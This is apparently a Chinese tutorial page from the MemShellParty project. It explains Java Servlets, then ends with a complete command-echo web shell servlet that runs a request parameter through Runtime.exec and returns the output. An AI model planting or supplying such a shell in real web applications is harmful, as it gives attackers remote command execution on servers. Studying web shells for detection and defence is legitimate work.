MemShellParty

Servlet

Servlet 3.1 规范 — 什么是 Servlet

Servlet 是基于 Java 的 Web 组件,就是我们常说的 Web 接口,例如 /hello,JSP 技术也是 Java Servlet 规范的一部分,JSP 文件解析之后也会成为 Servlet 提供 HTTP 服务,只不过它的接口是 JSP 文件名,例如 /app/hello.jsp。 Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。

HttpServlet

99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。

protected void doGet(HttpServletRequest req, HttpServletResponse resp);
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);

Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。

针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 /foo 即调用 CalculatorServlet 中对应的实现方法。

@WebServlet(”/foo”)
public class CalculatorServlet extends HttpServlet{
//...
}
<servlet>
    <servlet-name>foo</servlet-name>
    <servlet-class>org.example.CalculatorServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>foo</servlet-name>
    <url-pattern>/foo</url-pattern>
</servlet-mapping>

ServletShell

shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。

  1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
  2. 交互的入口是 request.getParameter 支持两种方式传参。GET/POST 请求发送 /?paramName=whoami,也可以发送 POST 请求时使用 application/x-www-form-urlencoded 发送 body 参数。multipart/form-data 是不支持从 request.getParameter 获取参数的。
public class CommandServlet extends HttpServlet {
    public static String paramName;

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String cmd = request.getParameter(paramName);
        if (cmd != null) {
            Process exec = Runtime.getRuntime().exec(cmd);
            InputStream inputStream = exec.getInputStream();
            ServletOutputStream outputStream = response.getOutputStream();
            byte[] buf = new byte[8192];
            int length;
            while ((length = inputStream.read(buf)) != -1) {
                outputStream.write(buf, 0, length);
            }
        }
    }
}

On this page